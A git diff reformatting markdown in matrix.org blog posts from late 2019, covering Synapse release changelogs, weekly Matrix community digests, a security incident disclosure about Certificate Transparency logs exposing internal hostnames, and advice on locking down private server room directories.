Improve signature checking on some federation APIs. ([\#6262](https://github.com/matrix-org/synapse/issues/6262)) - -Internal Changes ----------------- +### Internal Changes - Move schema delta files to the correct data store. ([\#6248](https://github.com/matrix-org/synapse/issues/6248)) - Small performance improvement by removing repeated config lookups in room stats calculation. ([\#6255](https://github.com/matrix-org/synapse/issues/6255)) +## Synapse 1.5.0rc1 (2019-10-24) -Synapse 1.5.0rc1 (2019-10-24) -========================== - -Features --------- +### Features - Improve quality of thumbnails for 1-bit/8-bit color palette images. ([\#2142](https://github.com/matrix-org/synapse/issues/2142)) - Add ability to upload cross-signing signatures. ([\#5726](https://github.com/matrix-org/synapse/issues/5726)) @@ -66,9 +55,7 @@ Features - Reject all pending invites for a user during deactivation. ([\#6125](https://github.com/matrix-org/synapse/issues/6125)) - Add config option to suppress client side resource limit alerting. ([\#6173](https://github.com/matrix-org/synapse/issues/6173)) - -Bugfixes --------- +### Bugfixes - Return an HTTP 404 instead of 400 when requesting a filter by ID that is unknown to the server. Thanks to @krombel for contributing this! ([\#2380](https://github.com/matrix-org/synapse/issues/2380)) - Fix a bug where users could be invited twice to the same group. ([\#3436](https://github.com/matrix-org/synapse/issues/3436)) @@ -88,15 +75,11 @@ Bugfixes - synapse_port_db: Add 2 additional BOOLEAN_COLUMNS to be able to convert from database schema v56. ([\#6216](https://github.com/matrix-org/synapse/issues/6216)) - Fix a bug where the Synapse demo script blacklisted `::1` (ipv6 localhost) from receiving federation traffic. ([\#6229](https://github.com/matrix-org/synapse/issues/6229)) - -Updates to the Docker image ---------------------------- +### Updates to the Docker image - Fix logging getting lost for the docker image. ([\#6197](https://github.com/matrix-org/synapse/issues/6197)) - -Internal Changes ----------------- +### Internal Changes - Update `user_filters` table to have a unique index, and non-null columns. Thanks to @pik for contributing this. ([\#1172](https://github.com/matrix-org/synapse/issues/1172), [\#6175](https://github.com/matrix-org/synapse/issues/6175), [\#6184](https://github.com/matrix-org/synapse/issues/6184)) - Allow devices to be marked as hidden, for use by features such as cross-signing. diff --git a/content/blog/2019/11/2019-11-01-this-week-in-matrix-2019-11-01.md b/content/blog/2019/11/2019-11-01-this-week-in-matrix-2019-11-01.md index 8eae186f2..07c8307ee 100644 --- a/content/blog/2019/11/2019-11-01-this-week-in-matrix-2019-11-01.md +++ b/content/blog/2019/11/2019-11-01-this-week-in-matrix-2019-11-01.md @@ -23,7 +23,7 @@ image = "https://matrix.org/blog/img/2019-11-01-ditto.png" > **Final Comment Period** > > * [MSC2334 - Change default room version to v5](https://github.com/matrix-org/matrix-doc/pull/2334) -> * This one rushed right from new into FCP! Mostly due to it being very non-contentious. +> * This one rushed right from new into FCP! Mostly due to it being very non-contentious. > > **New MSCs** > @@ -89,11 +89,11 @@ Several packaging projects have been updated to deploy the new version: > Officially announcing a new mobile client project: **Ditto Chat** > > * Project Status -> * Minimum Viable Product is on TestFlight -> * Can: login, send / receive messages +> * Minimum Viable Product is on TestFlight +> * Can: login, send / receive messages > * Tech Stack -> * Bare React Native - no Expo -> * matrix-js-sdk +> * Bare React Native - no Expo +> * matrix-js-sdk > * Vision > > * I want Ditto to be a chat app that is user-friendly and performant for the average user, rivaling apps like GroupMe, Messenger, and WhatsApp. @@ -113,6 +113,7 @@ Check out the room at [#ditto:elequin.io](https://matrix.to/#/#ditto:elequin.io) > > [Miitrix](https://github.com/Sorunome/miitrix) has received some updates! +> > * Save state and resume when starting up - no need for an initial sync each time anymore! > * Send read receipts > * Send typing notifications @@ -156,13 +157,13 @@ This is the room to head to for Matrix Client developer chat. > Version 0.1.2 update brings a major overhaul of the user interface. The main features are: > > * A new sign in dialog (with password authentication. No access tokens!) -> * Those who are already signed in will stay signed in -> * Also created a Matrix Notepad logo +> * Those who are already signed in will stay signed in +> * Also created a Matrix Notepad logo > * Technically, a single Matrix client is used instead of re-creating it each time a new document is opened -> * This makes document loading faster +> * This makes document loading faster > * Added a document list and an add button > * Added the document room ID to the URL -> * Fixed various bugs that have been encountered. Maybe I can *finally* say that it's bug-free! +> * Fixed various bugs that have been encountered. Maybe I can _finally_ say that it's bug-free! ### Riot v1.5.1-rc.1 diff --git a/content/blog/2019/11/2019-11-06-fun-and-games-with-certificate-transparency-logs.md b/content/blog/2019/11/2019-11-06-fun-and-games-with-certificate-transparency-logs.md index 96fa7078f..1f9712e3a 100644 --- a/content/blog/2019/11/2019-11-06-fun-and-games-with-certificate-transparency-logs.md +++ b/content/blog/2019/11/2019-11-06-fun-and-games-with-certificate-transparency-logs.md @@ -9,16 +9,17 @@ category = ["Security"] Hi all, -This morning (06:11 UTC) it became apparent through mails to support@matrix.org that a security researcher was working through the TLS Certificate Transparency logs for `*.matrix.org`,`*.riot.im` and `*.modular.im` to identify and try to access non-public services run by New Vector (the company formed by the original Matrix team, which hosts `*.matrix.org` on behalf of the Matrix.org Foundation, and develops Riot and runs the https://modular.im hosting service). +This morning (06:11 UTC) it became apparent through mails to that a security researcher was working through the TLS Certificate Transparency logs for `*.matrix.org`,`*.riot.im` and `*.modular.im` to identify and try to access non-public services run by New Vector (the company formed by the original Matrix team, which hosts `*.matrix.org` on behalf of the Matrix.org Foundation, and develops Riot and runs the hosting service). Certificate Transparency (CT) is a feature of the TLS ecosystem which lets you see which public certificates have been created and signed by given authorities - intended to help identify and mitigate against malicious certificates. This means that the DNS name of any host with a dedicated public TLS certificate (i.e. not using a wildcard certificate) is visible to the general public. In practice, this revealed a handful of internal-facing services using dedicated public TLS certificates which were accessible to the general internet - some of which should have been locked to be accessible only from our internal network. Specifically: - * `kibana.ap-southeast-1.k8s.i.modular.im` - a Kibana deployment for a new experimental Modular cluster which is being set up in SE Asia. The Kibana is in the middle of being deployed, and was exposed without authentication during deployment due to a firewall & config error. However, **it is not a production system and carries no production traffic or user data** (it was just being used for experimentation for hypothetical geography-specific Modular deployments). We firewalled this off at 07:53 UTC, and are doing analysis to confirm there was no further compromise, and will then rebuild the cluster (having fixed the firewall config error from repeating). - * AWX deployments used by our internal Modular platform, which were behind authentication but should not be exposed to the public net. - * Various semi-internal dev and testing services which should be IP-locked to our internal network (but are all locked behind authentication too). + +* `kibana.ap-southeast-1.k8s.i.modular.im` - a Kibana deployment for a new experimental Modular cluster which is being set up in SE Asia. The Kibana is in the middle of being deployed, and was exposed without authentication during deployment due to a firewall & config error. However, **it is not a production system and carries no production traffic or user data** (it was just being used for experimentation for hypothetical geography-specific Modular deployments). We firewalled this off at 07:53 UTC, and are doing analysis to confirm there was no further compromise, and will then rebuild the cluster (having fixed the firewall config error from repeating). +* AWX deployments used by our internal Modular platform, which were behind authentication but should not be exposed to the public net. +* Various semi-internal dev and testing services which should be IP-locked to our internal network (but are all locked behind authentication too). Additionally, certain historical Modular homeservers & Riots (from before we switched to using wildcard certs, or where we’ve created a custom LetsEncrypt certificate for the server) are named in the CT logs - thus leaking the server’s name (which is typically public anyway in that server’s matrix IDs if the server is federated). @@ -26,6 +27,6 @@ We’re working through the services whose names were exposed checking for any o Meanwhile, we’ll be ensuring that semi-internal services are only exposed on our internal network in future, and that Modular server names are not exposed by CT logs where possible. -**TL;DR**: You can list all the public non-wildcard TLS certs for a given domain by looking somewhere like https://crt.sh/?q=%25.matrix.org. This lets you find internal-sounding services to try to attack. In practice no production services were compromised, and most of our internal services are correctly firewalled from the public internet. However, we’re reviewing the IP locking for ones in the grey zone (and preventing the bug which caused an experimental Kibana to be exposed without auth). +**TL;DR**: You can list all the public non-wildcard TLS certs for a given domain by looking somewhere like . This lets you find internal-sounding services to try to attack. In practice no production services were compromised, and most of our internal services are correctly firewalled from the public internet. However, we’re reviewing the IP locking for ones in the grey zone (and preventing the bug which caused an experimental Kibana to be exposed without auth). -We’d like to thank Linda Lapinlampi for notifying us about this. We’d also like to remind everyone that we operate a Security Disclosure Policy (SDP) and Hall of Fame at https://matrix.org/security-disclosure-policy/ which is designed to protect innocent users from being hurt by security issues - everyone: please consider disclosing issues responsibly to us as per the SDP. +We’d like to thank Linda Lapinlampi for notifying us about this. We’d also like to remind everyone that we operate a Security Disclosure Policy (SDP) and Hall of Fame at which is designed to protect innocent users from being hurt by security issues - everyone: please consider disclosing issues responsibly to us as per the SDP. diff --git a/content/blog/2019/11/2019-11-08-client-server-r0-6-0-and-identity-service-r0-3-0-releases.md b/content/blog/2019/11/2019-11-08-client-server-r0-6-0-and-identity-service-r0-3-0-releases.md index 727a06c7f..d741be48f 100644 --- a/content/blog/2019/11/2019-11-08-client-server-r0-6-0-and-identity-service-r0-3-0-releases.md +++ b/content/blog/2019/11/2019-11-08-client-server-r0-6-0-and-identity-service-r0-3-0-releases.md @@ -17,86 +17,86 @@ The full changelog for the Client-Server r0.6.0 release is: * Breaking Changes - - Add `id_access_token` as a required request parameter to a few + * Add `id_access_token` as a required request parameter to a few endpoints which require an `id_server` parameter as part of [MSC2140](https://github.com/matrix-org/matrix-doc/pull/2140). ([\#2255](https://github.com/matrix-org/matrix-doc/issues/2255)) * New Endpoints - - Add `POST /account/3pid/unbind` for removing a 3PID from an identity + * Add `POST /account/3pid/unbind` for removing a 3PID from an identity server. ([\#2282](https://github.com/matrix-org/matrix-doc/issues/2282)) * Backwards Compatible Changes - - Add `M_USER_DEACTIVATED` error code. + * Add `M_USER_DEACTIVATED` error code. ([\#2234](https://github.com/matrix-org/matrix-doc/issues/2234)) - - Remove `bind_msisdn` and `bind_email` from `/register` now that the + * Remove `bind_msisdn` and `bind_email` from `/register` now that the identity server's bind endpoint requires authentication. ([\#2279](https://github.com/matrix-org/matrix-doc/issues/2279)) - - Add `m.identity_server` account data for tracking the user's + * Add `m.identity_server` account data for tracking the user's preferred identity server. ([\#2281](https://github.com/matrix-org/matrix-doc/issues/2281)) - - Deprecate `id_server` and make it optional in several places. + * Deprecate `id_server` and make it optional in several places. ([\#2310](https://github.com/matrix-org/matrix-doc/issues/2310)) * Spec Clarifications - - Add missing format fields to `m.room.message$m.notice` schema. + * Add missing format fields to `m.room.message$m.notice` schema. ([\#2125](https://github.com/matrix-org/matrix-doc/issues/2125)) - - Remove "required" designation from the `url` field of certain + * Remove "required" designation from the `url` field of certain `m.room.message` msgtypes. ([\#2129](https://github.com/matrix-org/matrix-doc/issues/2129)) - - Fix various typos throughout the specification. + * Fix various typos throughout the specification. ([\#2131](https://github.com/matrix-org/matrix-doc/issues/2131), [\#2136](https://github.com/matrix-org/matrix-doc/issues/2136), [\#2148](https://github.com/matrix-org/matrix-doc/issues/2148), [\#2215](https://github.com/matrix-org/matrix-doc/issues/2215)) - - Clarify the distinction between `m.key.verification.start` and its + * Clarify the distinction between `m.key.verification.start` and its `m.sas.v1` variant. ([\#2132](https://github.com/matrix-org/matrix-doc/issues/2132)) - - Fix link to Olm signing specification. + * Fix link to Olm signing specification. ([\#2133](https://github.com/matrix-org/matrix-doc/issues/2133)) - - Clarify the conditions for the `.m.rule.room_one_to_one` push rule. + * Clarify the conditions for the `.m.rule.room_one_to_one` push rule. ([\#2152](https://github.com/matrix-org/matrix-doc/issues/2152)) - - Clarify the encryption algorithms supported by the device of the + * Clarify the encryption algorithms supported by the device of the device keys example. ([\#2157](https://github.com/matrix-org/matrix-doc/issues/2157)) - - Clarify that `/rooms/:roomId/event/:eventId` returns a Matrix error. + * Clarify that `/rooms/:roomId/event/:eventId` returns a Matrix error. ([\#2204](https://github.com/matrix-org/matrix-doc/issues/2204)) - - Add a missing `state_key` check on `.m.rule.tombstone`. + * Add a missing `state_key` check on `.m.rule.tombstone`. ([\#2223](https://github.com/matrix-org/matrix-doc/issues/2223)) - - Fix the `m.room_key_request` `action` value, setting it from + * Fix the `m.room_key_request` `action` value, setting it from `cancel_request` to `request_cancellation`. ([\#2247](https://github.com/matrix-org/matrix-doc/issues/2247)) - - Clarify that the `submit_url` field is without authentication. + * Clarify that the `submit_url` field is without authentication. ([\#2341](https://github.com/matrix-org/matrix-doc/issues/2341)) - - Clarify the expected phone number format. + * Clarify the expected phone number format. ([\#2342](https://github.com/matrix-org/matrix-doc/issues/2342)) - - Clarify that clients should consider not requesting URL previews in + * Clarify that clients should consider not requesting URL previews in encrypted rooms. ([\#2343](https://github.com/matrix-org/matrix-doc/issues/2343)) - - Add missing information on how filters are meant to work with + * Add missing information on how filters are meant to work with `/context`. ([\#2344](https://github.com/matrix-org/matrix-doc/issues/2344)) - - Clarify what the keys are for rooms in `/sync`. + * Clarify what the keys are for rooms in `/sync`. ([\#2345](https://github.com/matrix-org/matrix-doc/issues/2345)) The full changelog for the Identity Service r0.3.0 release is: * New Endpoints - - Add `/account`, `/account/register`, and `/account/logout` to + * Add `/account`, `/account/register`, and `/account/logout` to authenticate with the identity server. ([\#2255](https://github.com/matrix-org/matrix-doc/issues/2255)) - - Add endpoints for accepting and handling terms of service. + * Add endpoints for accepting and handling terms of service. ([\#2258](https://github.com/matrix-org/matrix-doc/issues/2258)) - - Add `/hash_details` and a new `/lookup` endpoint for performing + * Add `/hash_details` and a new `/lookup` endpoint for performing hashed association lookups. ([\#2287](https://github.com/matrix-org/matrix-doc/issues/2287)) * Backwards Compatible Changes - - Deprecate the v1 API in favour of an authenticated v2 API. + * Deprecate the v1 API in favour of an authenticated v2 API. ([\#2254](https://github.com/matrix-org/matrix-doc/issues/2254)) diff --git a/content/blog/2019/11/2019-11-08-this-week-in-matrix-2019-11-08.md b/content/blog/2019/11/2019-11-08-this-week-in-matrix-2019-11-08.md index 1d073786b..82f0c453b 100644 --- a/content/blog/2019/11/2019-11-08-this-week-in-matrix-2019-11-08.md +++ b/content/blog/2019/11/2019-11-08-this-week-in-matrix-2019-11-08.md @@ -33,13 +33,15 @@ You can read all about it [here](https://matrix.org/blog/2019/11/08/client-serve > **Approved MSCs** > > * [MSC2334 - Change default room version to v5](https://github.com/matrix-org/matrix-doc/issues/2334) -> - Our fastest FCP ever - less than 24hrs! +> * Our fastest FCP ever - less than 24hrs! > > **Final Comment Period** +> > * [MSC2244: Mass redactions](https://github.com/matrix-org/matrix-doc/pull/2244) > * [MSC1946: Secure Secret Storage and Sharing](https://github.com/matrix-org/matrix-doc/pull/1946) > > **New MSCs** +> > * [[WIP] MSC2346: Bridge information state event](https://github.com/matrix-org/matrix-doc/pull/2346) > > The Spec Core Team have chosen MSC1756 (cross-signing), MSC2324 (new spec process), and MSC2313 (ban lists) to focus on this week :) @@ -67,6 +69,7 @@ You can read all about it [here](https://matrix.org/blog/2019/11/08/client-serve > We are working on the Integration Manager management. ### Riot Web + [Neil](https://matrix.to/#/@neilj:matrix.org) had this to say: > The Riot gang landed [1.5.1](https://github.com/vector-im/riot-web/releases/tag/v1.5.1) which contained the emoji picker (thanks [Tulir](https://matrix.to/#/@tulir:maunium.net)!). > @@ -106,9 +109,8 @@ You can read all about it [here](https://matrix.org/blog/2019/11/08/client-serve [Neil](https://matrix.to/#/@neilj:matrix.org) said: - > This week we shipped [1.5.1](https://github.com/matrix-org/synapse/releases/tag/v1.5.1) which contains a small bug fix to prevent a potential DoS vector. - +> > Separately we merged support for [label based filtering](https://github.com/matrix-org/matrix-doc/pull/2326) into develop and are now working on allowing admins to configure [message retention policies](https://github.com/matrix-org/matrix-doc/pull/1763). > > Aside from that we’ve continued to work on sharding out the database which we’ll put live once we have migrated matrix.org onto new hardware (woo!) and finally we’ve been fixing some bugs affecting event auth rules. diff --git a/content/blog/2019/11/2019-11-09-avoiding-unwelcome-visitors-on-private-matrix-servers.md b/content/blog/2019/11/2019-11-09-avoiding-unwelcome-visitors-on-private-matrix-servers.md index d46d2f30a..dd347e2a4 100644 --- a/content/blog/2019/11/2019-11-09-avoiding-unwelcome-visitors-on-private-matrix-servers.md +++ b/content/blog/2019/11/2019-11-09-avoiding-unwelcome-visitors-on-private-matrix-servers.md @@ -21,7 +21,7 @@ server is federated with the public Matrix network). In Synapse, this means ensuring that the following options are set correctly in your `homeserver.yaml`: -``` +```yaml # If set to 'false', requires authentication to access the server's public rooms # directory through the client API. Defaults to 'true'. # @@ -39,7 +39,7 @@ general internet and wider Matrix network. You can test whether your room directory is visible to arbitrary Matrix clients on the general internet by viewing a URL like -https://sandbox.modular.im/_matrix/client/r0/publicRooms (but for your server). + (but for your server). If it gives a "Missing access token" error, you are okay. You can test whether your room directory is visible to arbitrary Matrix servers @@ -54,7 +54,9 @@ members of the public peeking into them (let alone joining them). Relying on security-by-obscurity is a very bad idea: all it takes is for someone to scan the whole internet for Matrix servers, and then trying to join (say) -#finance on each discovered domain (either by signing up on that + +## finance on each discovered domain (either by signing up on that + server or by trying to join over federation) to cause problems. Finally, if you don't want the general public reading your room directory, @@ -69,6 +71,4 @@ directories with finer grained access control, etc) - but until this is sorted, please heed this advice. If you have concerns about randoms having managed to discover or join rooms -which should have been private, please contact security@matrix.org. - - +which should have been private, please contact . diff --git a/content/blog/2019/11/2019-11-15-this-week-in-matrix-2019-11-15.md b/content/blog/2019/11/2019-11-15-this-week-in-matrix-2019-11-15.md index 0dbb7f5c0..b16986643 100644 --- a/content/blog/2019/11/2019-11-15-this-week-in-matrix-2019-11-15.md +++ b/content/blog/2019/11/2019-11-15-this-week-in-matrix-2019-11-15.md @@ -34,16 +34,16 @@ Feedback: [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> ** New MSCs ** +> **New MSCs** > > * [MSC2354: Device to device streaming file transfers](https://github.com/matrix-org/matrix-doc/pull/2354) > * [MSC2356: Bulk /joined_members endpoint](https://github.com/matrix-org/matrix-doc/pull/2356) > -> ** In Final Comment Period ** +> **In Final Comment Period** > > * [MSC2284: Making the identity server optional during discovery](https://github.com/matrix-org/matrix-doc/pull/2284) > -> ** Merged MSCs ** +> **Merged MSCs** > > * [MSC1946: Secure Secret Storage and Sharing](https://github.com/matrix-org/matrix-doc/pull/1946) > * [MSC2244: Mass redactions](https://github.com/matrix-org/matrix-doc/pull/2244) @@ -100,19 +100,25 @@ Over in [#matrixservers:raim.ist](https://matrix.to/#/#matrixservers:raim.ist), > A new version has been made available and should soon be on Google Play! > > Note that this version will not be on TestFlight (yet) because notifications are currently only implemented on Android (using Firebase, so same goes for F-Droid for the time being). +> > #### Changes +> > * Show notifications when receiving a new message! > * Username is not checked whether it's available anymore > > This was done for a future feature (registration), however, a different approach will probably be taken. +> > #### Get Pattle +> > * **Android** -> - **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** -> - **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** +> * **[F-Droid](https://f-droid.org/en/packages/im.pattle.app/)** +> * **[Google Play](https://play.google.com/store/apps/details?id=im.pattle.app)** > * **[iOS (TestFlight)](https://testflight.apple.com/join/uTytydST)** +> > #### Issues or suggestions > > If you stumble upon any issues or would like to suggest features, [please do so here](https://git.pattle.im/pattle/app/issues)! You can [login via GitHub and Gitlab.com](https://git.pattle.im/users/sign_in)! +> > #### Follow development > > Follow development in [#app:pattle.im](https://matrix.to/#/#app:pattle.im)! diff --git a/content/blog/2019/11/2019-11-26-synapse-1-6-0-released.md b/content/blog/2019/11/2019-11-26-synapse-1-6-0-released.md index 68872d7bb..b61150a2c 100644 --- a/content/blog/2019/11/2019-11-26-synapse-1-6-0-released.md +++ b/content/blog/2019/11/2019-11-26-synapse-1-6-0-released.md @@ -19,38 +19,28 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 1.5.1 follows: -Synapse 1.6.0 (2019-11-26) -========================== +## Synapse 1.6.0 (2019-11-26) -Bugfixes --------- +### Bugfixes - Fix phone home stats reporting. ([\#6418](https://github.com/matrix-org/synapse/issues/6418)) +## Synapse 1.6.0rc2 (2019-11-25) -Synapse 1.6.0rc2 (2019-11-25) -============================= - -Bugfixes --------- +### Bugfixes - Fix a bug which could cause the background database update handler for event labels to get stuck in a loop raising exceptions. ([\#6407](https://github.com/matrix-org/synapse/issues/6407)) +## Synapse 1.6.0rc1 (2019-11-20) -Synapse 1.6.0rc1 (2019-11-20) -============================= - -Features --------- +### Features - Add federation support for cross-signing. ([\#5727](https://github.com/matrix-org/synapse/issues/5727)) - Increase default room version from 4 to 5, thereby enforcing server key validity period checks. ([\#6220](https://github.com/matrix-org/synapse/issues/6220)) - Add support for outbound http proxying via http_proxy/HTTPS_PROXY env vars. ([\#6238](https://github.com/matrix-org/synapse/issues/6238)) - Implement label-based filtering on `/sync` and `/messages` ([MSC2326](https://github.com/matrix-org/matrix-doc/pull/2326)). ([\#6301](https://github.com/matrix-org/synapse/issues/6301), [\#6310](https://github.com/matrix-org/synapse/issues/6310), [\#6340](https://github.com/matrix-org/synapse/issues/6340)) - -Bugfixes --------- +### Bugfixes - Fix LruCache callback deduplication for Python 3.8. Contributed by @V02460. ([\#6213](https://github.com/matrix-org/synapse/issues/6213)) - Remove a room from a server's public rooms list on room upgrade. ([\#6232](https://github.com/matrix-org/synapse/issues/6232), [\#6235](https://github.com/matrix-org/synapse/issues/6235)) @@ -68,18 +58,14 @@ Bugfixes - Fix `to_device` stream ID getting reset every time Synapse restarts, which had the potential to cause unable to decrypt errors. ([\#6363](https://github.com/matrix-org/synapse/issues/6363)) - Fix permission denied error when trying to generate a config file with the docker image. ([\#6389](https://github.com/matrix-org/synapse/issues/6389)) - -Improved Documentation ----------------------- +### Improved Documentation - Contributor documentation now mentions script to run linters. ([\#6164](https://github.com/matrix-org/synapse/issues/6164)) - Modify CAPTCHA_SETUP.md to update the terms `private key` and `public key` to `secret key` and `site key` respectively. Contributed by Yash Jipkate. ([\#6257](https://github.com/matrix-org/synapse/issues/6257)) - Update `INSTALL.md` Email section to talk about `account_threepid_delegates`. ([\#6272](https://github.com/matrix-org/synapse/issues/6272)) - Fix a small typo in `account_threepid_delegates` configuration option. ([\#6273](https://github.com/matrix-org/synapse/issues/6273)) - -Internal Changes ----------------- +### Internal Changes - Add a CI job to test the `synapse_port_db` script. ([\#6140](https://github.com/matrix-org/synapse/issues/6140), [\#6276](https://github.com/matrix-org/synapse/issues/6276)) - Convert EventContext to an attrs. ([\#6218](https://github.com/matrix-org/synapse/issues/6218)) diff --git a/content/blog/2019/11/2019-11-29-this-week-in-matrix-2019-11-29.md b/content/blog/2019/11/2019-11-29-this-week-in-matrix-2019-11-29.md index c7ae909ff..20a1007ab 100644 --- a/content/blog/2019/11/2019-11-29-this-week-in-matrix-2019-11-29.md +++ b/content/blog/2019/11/2019-11-29-this-week-in-matrix-2019-11-29.md @@ -57,7 +57,7 @@ Several packaging projects have been updated to deploy the new version * [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy/) from [Slavi](https://matrix.to/#/@slavi:devture.com) * [avhost/docker-matrix](https://hub.docker.com/r/avhost/docker-matrix) and [mvgorcum/docker-matrix](https://hub.docker.com/r/mvgorcum/docker-matrix) from [Mathijs](https://matrix.to/#/@mathijs:matrix.vgorcum.com) - * Mathijs was also happy to remind everyone of Docker itself + * Mathijs was also happy to remind everyone of Docker itself * [Kubernetes](https://github.com/ananace/matrix-synapse) from [Ananace](https://matrix.to/#/@ace:kittenface.studio) * [multi-arch synapse docker image](https://hub.docker.com/r/black0/synapse) from [Black Hat](https://matrix.to/#/@bhat:encom.eu.org) @@ -90,9 +90,9 @@ New Vector (the startup which the original Matrix team founded in order to hire Neil says: > You can read all about it [here](https://vector.im/careers) but we are particularly keen to speak to people who want to hack on [Synapse](https://apply.workable.com/new-vector/j/2EAF559ED8/) or work in [Operations](https://apply.workable.com/new-vector/j/E87A97E42D/). -> +> > We are remote friendly though find it easier to hire people in some territories than others, so if you have any questions just ask. -> +> > You can apply via the site, or alternatively reach out to [@neilj:matrix.org](https://matrix.to/#/@neilj:matrix.org) (engineering) or [@nadonomy:matrix.org](https://matrix.to/#/@nadonomy:matrix.org) (design). On top of this, Neil Alexander, creator of Seaglass and maintainer of Yggdrasil, will be joining New Vector. He said: @@ -118,15 +118,15 @@ On top of this, Neil Alexander, creator of Seaglass and maintainer of Yggdrasil, ## Dept of Clients 📱 -### Redesign of Ditto is out! +### Redesign of Ditto is out [Annie](https://matrix.to/#/@annie:elequin.io) told us: -> * Ditto is now redesigned with a fresh new look! +> * Ditto is now redesigned with a fresh new look! > * Functionality: -> - Login, send / receive messages, logout +> * Login, send / receive messages, logout > * On Deck: -> - Notifications, writing a new message (in that order) +> * Notifications, writing a new message (in that order) > > Come chat about UX and things you'd like to see in Ditto! > Matrix room: [#ditto:elequin.io](https://matrix.to/#/#ditto:elequin.io) diff --git a/content/blog/2019/12/2019-12-06-this-week-in-matrix-2019-12-06.md b/content/blog/2019/12/2019-12-06-this-week-in-matrix-2019-12-06.md index 9035c3ba2..d4a1e317a 100644 --- a/content/blog/2019/12/2019-12-06-this-week-in-matrix-2019-12-06.md +++ b/content/blog/2019/12/2019-12-06-this-week-in-matrix-2019-12-06.md @@ -38,7 +38,7 @@ Yesterday we [announced the availability of zipped hoodies](https://matrix.org/b > **New MSCs** > > * [MSC2380: Matrix Media Information API](https://github.com/matrix-org/matrix-doc/pull/2380) -> - This is a markdownification of [MSC1310](https://github.com/matrix-org/matrix-doc/issues/1310) +> * This is a markdownification of [MSC1310](https://github.com/matrix-org/matrix-doc/issues/1310) > * [MSC2370: Resolve URL API](https://github.com/matrix-org/matrix-doc/pull/2370) > * [MSC2375: Appservice Invite States](https://github.com/matrix-org/matrix-doc/pull/2375) > * [MSC2376: Disable URL Previews](https://github.com/matrix-org/matrix-doc/pull/2376) @@ -145,7 +145,7 @@ As if all that wasn't enough, how about this image of Fractal running on a Libre > > This is a personal and a side project, but RiotX-iOS will probably take benefit from it. -### Riot Web means Cross Signing! +### Riot Web means Cross Signing [Ryan](https://matrix.to/#/@jryans:matrix.org) announced: @@ -173,6 +173,7 @@ As if all that wasn't enough, how about this image of Fractal running on a Libre > > msc_resolver2 is back and now isn't annoying with all new features like: +> > * actually showing you the MSC title when it links it > * not posting the same links multiple times > * not posting a link when you've already linked the msc in the original message @@ -213,4 +214,3 @@ As if all that wasn't enough, how about this image of Fractal running on a Libre See you next week, and be sure to stop by [#twim:matrix.org] with your updates! [#TWIM:matrix.org]: - diff --git a/content/blog/2019/12/2019-12-13-synapse-1-7-0-released.md b/content/blog/2019/12/2019-12-13-synapse-1-7-0-released.md index dd518995f..68ff7705c 100644 --- a/content/blog/2019/12/2019-12-13-synapse-1-7-0-released.md +++ b/content/blog/2019/12/2019-12-13-synapse-1-7-0-released.md @@ -27,9 +27,7 @@ As ever, you can get the new update [here](https://github.com/matrix-org/synapse The changelog since 1.6.1 follows: - -Synapse 1.7.0 (2019-12-13) -========================== +## Synapse 1.7.0 (2019-12-13) This release changes the default settings so that only local authenticated users can query the server's room directory. See the [upgrade notes](https://github.com/matrix-org/synapse/blob/v1.7.0/UPGRADE.rst#upgrading-to-v170) for details. @@ -39,23 +37,17 @@ Administrators are reminded that SQLite should not be used for production instan No significant changes since 1.7.0rc2. +## Synapse 1.7.0rc2 (2019-12-11) -Synapse 1.7.0rc2 (2019-12-11) -============================= - -Bugfixes --------- +### Bugfixes - Fix incorrect error message for invalid requests when setting user's avatar URL. ([\#6497](https://github.com/matrix-org/synapse/issues/6497)) - Fix support for SQLite 3.7. ([\#6499](https://github.com/matrix-org/synapse/issues/6499)) - Fix regression where sending email push would not work when using a pusher worker. ([\#6507](https://github.com/matrix-org/synapse/issues/6507), [\#6509](https://github.com/matrix-org/synapse/issues/6509)) +## Synapse 1.7.0rc1 (2019-12-09) -Synapse 1.7.0rc1 (2019-12-09) -============================= - -Features --------- +### Features - Implement per-room message retention policies. ([\#5815](https://github.com/matrix-org/synapse/issues/5815), [\#6436](https://github.com/matrix-org/synapse/issues/6436)) - Add etag and count fields to key backup endpoints to help clients guess if there are new keys. ([\#5858](https://github.com/matrix-org/synapse/issues/5858)) @@ -66,9 +58,7 @@ Features - Add ephemeral messages support by partially implementing [MSC2228](https://github.com/matrix-org/matrix-doc/pull/2228). ([\#6409](https://github.com/matrix-org/synapse/issues/6409)) - Add support for [MSC 2367](https://github.com/matrix-org/matrix-doc/pull/2367), which allows specifying a reason on all membership events. ([\#6434](https://github.com/matrix-org/synapse/issues/6434)) - -Bugfixes --------- +### Bugfixes - Transfer non-standard power levels on room upgrade. ([\#6237](https://github.com/matrix-org/synapse/issues/6237)) - Fix error from the Pillow library when uploading RGBA images. ([\#6241](https://github.com/matrix-org/synapse/issues/6241)) @@ -88,9 +78,7 @@ Bugfixes - Fix small performance regression for sending invites. ([\#6493](https://github.com/matrix-org/synapse/issues/6493)) - Back out cross-signing code added in Synapse 1.5.0, which caused a performance regression. ([\#6494](https://github.com/matrix-org/synapse/issues/6494)) - -Improved Documentation ----------------------- +### Improved Documentation - Update documentation and variables in user contributed systemd reference file. ([\#6369](https://github.com/matrix-org/synapse/issues/6369), [\#6490](https://github.com/matrix-org/synapse/issues/6490)) - Fix link in the user directory documentation. ([\#6388](https://github.com/matrix-org/synapse/issues/6388)) @@ -99,16 +87,12 @@ Improved Documentation - Write some docs for the quarantine_media api. ([\#6458](https://github.com/matrix-org/synapse/issues/6458)) - Convert CONTRIBUTING.rst to markdown (among other small fixes). ([\#6461](https://github.com/matrix-org/synapse/issues/6461)) - -Deprecations and Removals -------------------------- +### Deprecations and Removals - Remove admin/v1/users_paginate endpoint. Contributed by Awesome Technologies Innovationslabor GmbH. ([\#5925](https://github.com/matrix-org/synapse/issues/5925)) - Remove fallback for federation with old servers which lack the /federation/v1/state_ids API. ([\#6488](https://github.com/matrix-org/synapse/issues/6488)) - -Internal Changes ----------------- +### Internal Changes - Add benchmarks for structured logging and improve output performance. ([\#6266](https://github.com/matrix-org/synapse/issues/6266)) - Improve the performance of outputting structured logging. ([\#6322](https://github.com/matrix-org/synapse/issues/6322)) diff --git a/content/blog/2019/12/2019-12-13-this-week-in-matrix-2019-12-13.md 